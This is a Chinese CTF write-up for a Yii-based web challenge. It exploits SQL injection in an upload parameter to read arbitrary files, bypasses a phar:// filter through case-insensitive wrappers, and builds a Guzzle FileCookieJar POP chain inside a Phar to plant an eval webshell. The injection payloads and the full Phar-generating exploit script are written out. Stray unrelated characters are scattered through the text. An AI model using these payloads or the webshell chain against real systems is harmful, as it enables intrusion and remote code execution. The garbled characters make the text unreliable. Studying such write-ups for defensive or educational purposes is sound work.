Dockefile:
信息搜集:
題目地址:http://58.20.46.148:21333/
- 目標(biāo)使用 Yii 框架開(kāi)發(fā)
- 存在登錄注冊(cè)功能
- 登錄注冊(cè)以后解鎖新的功能:上傳文件(upload)挂洛、顯示文件(show)
(contact 等其他功能為 Yii 腳手架自帶礼预,不需要太過(guò)關(guān)心) - 上傳文件需要比正常的文件上傳多提供一個(gè)參數(shù) name
- 顯示文件不需要參數(shù),如果正常上傳一張圖片則會(huì)直接顯示這個(gè)圖片虏劲,不需要添加參數(shù)托酸,這個(gè)功能應(yīng)該是調(diào)用了 php 的文件讀取函數(shù)褒颈。有兩點(diǎn)支撐這個(gè)觀點(diǎn):
- 路徑中不需要指定文件名
- 用戶和用戶之間會(huì)隔離,瀏覽器隱身頁(yè)面訪問(wèn)不到了
- 存在 readme.md 提供了表結(jié)構(gòu)励堡,根據(jù)文件內(nèi)容確定數(shù)據(jù)庫(kù)為 sqlite3
CREATE TABLE IF NOT EXISTS "users" (
"id" integer PRIMARY KEY AUTOINCREMENT NOT NULL,
"username" char(1024) NOT NULL,
"password" char(1024) NOT NULL,
"filepath" varchar(1024)
);
- 上傳文件功能多的參數(shù) name 處存在注入谷丸,一個(gè)單引號(hào)即可觸發(fā),結(jié)合之前得到的表結(jié)構(gòu)应结,猜想是讓用戶可以指定一個(gè)文件名用來(lái)保存刨疼,然后在訪問(wèn) show 路由的時(shí)候從用戶 session 中拿到 user 身份標(biāo)識(shí),然后從數(shù)據(jù)庫(kù)中查找文件路徑鹅龄,然后讀取出來(lái)響應(yīng)給客戶端
- 上傳成功后會(huì)顯示服務(wù)器的一個(gè)相對(duì)路徑
$filepath = '../uploads/'.$_POST['UploadForm[name]'].'.';
$filepath .= pathinfo($_FILES['UploadForm[imageFile]']['name'], PATHINFO_EXTENSION);
echo $filepath;
- 猜測(cè)服務(wù)器會(huì)將
$filepath
作為文件名傳入讀取文件類的函數(shù)币狠,如果$filepath
可以任意控制的話就可以讀取 php 文件了,但是題目檢測(cè)$_POST['UploadForm[name]']
中是不是存在ph
砾层,如果存在上傳失敗。 - 一個(gè)用戶只能有一個(gè) filepath贱案,因此猜測(cè)上傳功能肯定是一條 update 語(yǔ)句肛炮,因此存在"SQL 字段覆蓋問(wèn)題"(不知道這種說(shuō)法是不是準(zhǔn)確,筆者只是不知道如何描述這樣的問(wèn)題宝踪,姑且成為“字段覆蓋”吧)侨糟,更新的字段為 filepath,那如果傳入多個(gè) filepath 則最終生效的為最后一個(gè)瘩燥,這樣應(yīng)該就可以通過(guò)絕對(duì)路徑讀取文件了秕重,但是根據(jù)第七步推測(cè)到的偽代碼,filepath 最后會(huì)加上 ‘.’ 和上傳文件的擴(kuò)展名厉膀,這里的讀取文件好像有點(diǎn)問(wèn)題溶耘,暫時(shí)不能讀取 php 文件,嘗試讀取 /etc/apt/sources.list 成功
UploadForm[name]=',filepath='/etc/apt/source
filename=lilac.list
- 既然可以多添加一個(gè)字段服鹅,再添加一個(gè)字段不就不用考慮后綴名的問(wèn)題了
UploadForm[name]=',filepath='/etc/apache2/sites-enabled/000-default.conf',username='lilac
filename=whatever
<VirtualHost *:80>
...
ServerAdmin webmaster@localhost
DocumentRoot /var/www/html/You_Cant_Gu3ss/web
...
</VirtualHost>
- 得到 web 絕對(duì)路徑并且可以任意文件讀取之后就可以對(duì)照著 Yii 的腳手架代碼來(lái)一步步下載源碼了
以下貼出關(guān)鍵代碼
? controllers cat UsersController.php
<?php
namespace app\controllers;
use Yii;
use app\models\Users;
use app\models\UsersSearch;
use yii\web\Controller;
use yii\web\NotFoundHttpException;
use yii\filters\VerbFilter;
use app\models\UploadForm;
use yii\web\UploadedFile;
/**
* UsersController implements the CRUD actions for Users model.
*/
class UsersController extends Controller
{
public function actionFile()
{
if (!Yii::$app->session->get('id')) {
return $this->redirect(['site/index']);
}
$model = new UploadForm();
if (Yii::$app->request->isPost) {
$model->imageFile = UploadedFile::getInstance($model, 'imageFile');
$model->name = Yii::$app->request->post('UploadForm')['name'];
if ($path = $model->upload()) {
$filename = $path;
$sql = 'update users set filepath = \''.$filename.'\' where id = '.Yii::$app->session->get('id');
Yii::$app->db->createCommand($sql)->execute();
\Yii::$app->getSession()->setFlash('success', "File upload Success! path is ../uploads/".$model->name.'.'.$model->imageFile->extension);
return $this->render('file', ['model' => $model]);
}
}
return $this->render('file', ['model' => $model]);
}
public function actionShow(){
if (!Yii::$app->session->get('id')) {
return $this->redirect(['site/index']);
}
$model = Users::find()->where(['id'=>Yii::$app->session->get('id')])->one();
if (!$model->filepath){
\Yii::$app->getSession()->setFlash('error', "You should upload your image first");
return $this->redirect(['file']);
}
if (substr($model->filepath, 0,7)=='phar://') {
\Yii::$app->getSession()->setFlash('error', "no phar! ");
return $this->redirect(['file']);
}
$content = @file_get_contents($model->filepath);
header("Content-Type: image/jpeg;text/html; charset=utf-8");
echo $content;
exit;
}
}
- 判斷了 filepath 是不是以 phar:// 開(kāi)頭凳兵,但是 php 在實(shí)現(xiàn)上讀取文件的 wrapper name 是可以不區(qū)分大小寫(xiě)的
readfile("PHP://FILTER/convert.BASE64-ENCODE/resource=/etc/hostname");
readfile("FILE:///etc/hostname");
- 回過(guò)頭來(lái)想想,目前情景很符合對(duì)象注入的場(chǎng)景
1. 框架代碼(大量 Gadget 可用)
2. 服務(wù)器已知文件內(nèi)容可控
3. 文件讀取函數(shù)的文件路徑參數(shù)可控
- 根據(jù)代碼其實(shí)也可以反應(yīng)出來(lái)是 Phar 反序列漏洞
- 根據(jù)提示 guzzle企软,在 composer.json 中得到 guzzle 的版本庐扫,搜索該版本的 Object Injection 即可
關(guān)鍵思路:
vendor/guzzlehttp/guzzle/src/Cookie/FileCookieJar.php
存在可控的文件寫(xiě)操作,考慮使用該類反序列化寫(xiě) shell
- 構(gòu)造 POP 鏈
- 生成以 POP 鏈為 Metadata 的 Phar 文件
<?php
require __DIR__ . '/vendor/autoload.php';
use GuzzleHttp\Cookie\FileCookieJar;
use GuzzleHttp\Cookie\SetCookie;
$payload = '<?php eval($_REQUEST[1])?>';
$obj = new FileCookieJar('/var/www/html/You_Cant_Gu3ss/web/assets/lilac.php');
$c = new SetCookie([
'Name' => 'foo',
'Value' => 'bar',
'Domain' => $payload,
'Expires' => time()+0x100,
'Discard' => false,
]);
$obj->setCookie($c);
$data = serialize($obj);
print_r($data);
file_put_contents("poc.dat", $data);
$phar_filename = "lilac.phar";
@unlink($phar_filename);
$phar = new Phar($phar_filename);
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>");
$phar->setMetadata($obj);
$phar->addFromString("lilac", "lilac");
$phar->stopBuffering();
- 上傳 Phar 文件
- 通過(guò)任意文件讀取漏洞使用 Phar 協(xié)議讀取觸發(fā)反序列化操作寫(xiě) Webshell
UploadForm[name]=1',filepath='Phar:///var/www/html/You_Cant_Gu3ss/uploads/lilac.jpg/lilac',username='lilac
- 反序列化并成功標(biāo)志為讀取到 Phar 文件內(nèi)容:
lilac
坑點(diǎn):
- php 序列化數(shù)據(jù)里面會(huì)有
\x00
所以復(fù)制的時(shí)候會(huì)被坑仗哨,應(yīng)該直接寫(xiě)文件里 - Yii 腳手架的 ${ROOT}/web/assets 目錄是可寫(xiě)的
- 關(guān)于如何構(gòu)造 POP 鏈請(qǐng)見(jiàn)參考資料中第一條 PDF形庭,近期看到的最棒的 Presentation 了